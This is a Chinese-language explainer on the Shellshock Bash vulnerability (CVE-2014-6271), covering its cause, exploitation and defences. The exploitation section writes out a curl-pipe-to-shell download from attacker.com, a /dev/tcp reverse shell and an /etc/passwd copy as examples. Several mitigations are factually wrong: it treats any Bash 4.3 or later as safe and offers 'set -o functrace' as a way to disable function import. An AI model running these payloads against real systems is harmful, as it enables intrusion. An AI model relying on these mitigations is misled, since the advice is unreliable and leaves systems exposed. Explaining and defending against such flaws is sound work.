CVE-2014-6271(bash破壳漏洞 )
漏洞原理
CVE-2014-6271是GNU Bash shell的远程代码执行漏洞,因Bash在解析环境变量时错误处理函数定义,导致攻击者可注入恶意命令。具体表现为:
环境变量函数定义:Bash允许通过环境变量定义函数(如
VAR() { ... };
)。未封闭的函数定义:若函数定义后未正确闭合(如遗漏
;
或}
),Bash会继续解析后续内容,并将其视为命令执行。触发场景:当Bash作为子进程被调用(如CGI脚本、DHCP客户端、SSH等)时,攻击者可通过环境变量注入恶意代码。
示例漏洞环境变量:
VAR='() { :;}; echo "Pwned!"' # 定义函数VAR,并在函数外注入echo命令
当Bash解析此变量时,会执行
echo "Pwned!"
,导致命令注入。
利用方式
- 构造恶意环境变量:在HTTP请求头、SSH连接或DHCP请求中注入包含恶意函数的变量。
- 触发Bash解析:通过CGI脚本、SSH服务器或DHCP客户端调用Bash,解析恶意环境变量。
- 执行任意命令:恶意函数定义后的代码被Bash执行,例如:
- 下载并运行木马(如
curl http://attacker.com/malware | sh
);- 创建反向Shell(如
bash -i >& /dev/tcp/attacker.com/4444 0>&1
);- 窃取敏感数据(如
cat /etc/passwd > /tmp/pass
)。
典型利用场景:
Web服务器CGI漏洞:攻击者发送包含恶意User-Agent头的HTTP请求,触发Bash处理CGI脚本时的命令执行。
SSH公钥授权:通过
~/.ssh/authorized_keys
文件注入环境变量,当用户使用SSH登录时触发漏洞。
防御措施
- 升级Bash至安全版本:
- 官方已发布修复版本(Bash 4.3及以上)。用户需通过包管理器(如
apt-get upgrade bash
)或手动编译更新。- 验证版本:运行
bash --version
,确保输出包含4.3
或更高版本。- 限制Bash使用场景:
- 避免在CGI脚本中使用Bash:改用更安全的Shell(如
dash
)或编程语言(如Python、Perl)。- 禁用环境变量函数定义:在Bash启动时添加
set -o functrace
或export BASH_FUNC_TRACE=1
(需测试兼容性)。- 环境变量过滤:
- 清除危险变量:在调用Bash的脚本前,执行
unset VAR
清除可能被攻击的变量(如HTTP_USER_AGENT
)。- 使用安全函数:在Shell脚本中避免动态解析环境变量,改用显式参数传递(如
$1
而非$VAR
)。- 网络层防护:
- 防火墙阻断异常请求:限制外部对CGI脚本(如
/cgi-bin/
目录)的访问,或通过WAF(Web应用防火墙)过滤包含(){
的HTTP头。- 入侵检测系统(IDS):部署规则检测异常Bash命令(如
curl|sh
、反向Shell特征)。- 系统加固:
- 最小权限原则:确保Web服务器、SSH服务等以非root用户运行,限制漏洞利用后的权限提升。
- 审计日志:监控
/var/log/auth.log
、/var/log/nginx/access.log
等日志,检测异常命令执行。
与VPN漏洞的对比
维度 | CVE-2014-6271(Bash) | VPN漏洞(如CVE-2019-11510) |
---|---|---|
攻击载体 | 环境变量注入(文件/网络) | 网络请求路径遍历(服务端漏洞) |
利用场景 | CGI脚本、SSH、DHCP等 | VPN设备Web服务直接暴露公网 |
影响范围 | 依赖Bash使用的场景(广泛) | 特定VPN设备(定向攻击) |
防御核心 | 升级Bash+环境变量过滤 | 系统升级+输入验证 |
结语
把行动交给现在
把结果交给时间
!!!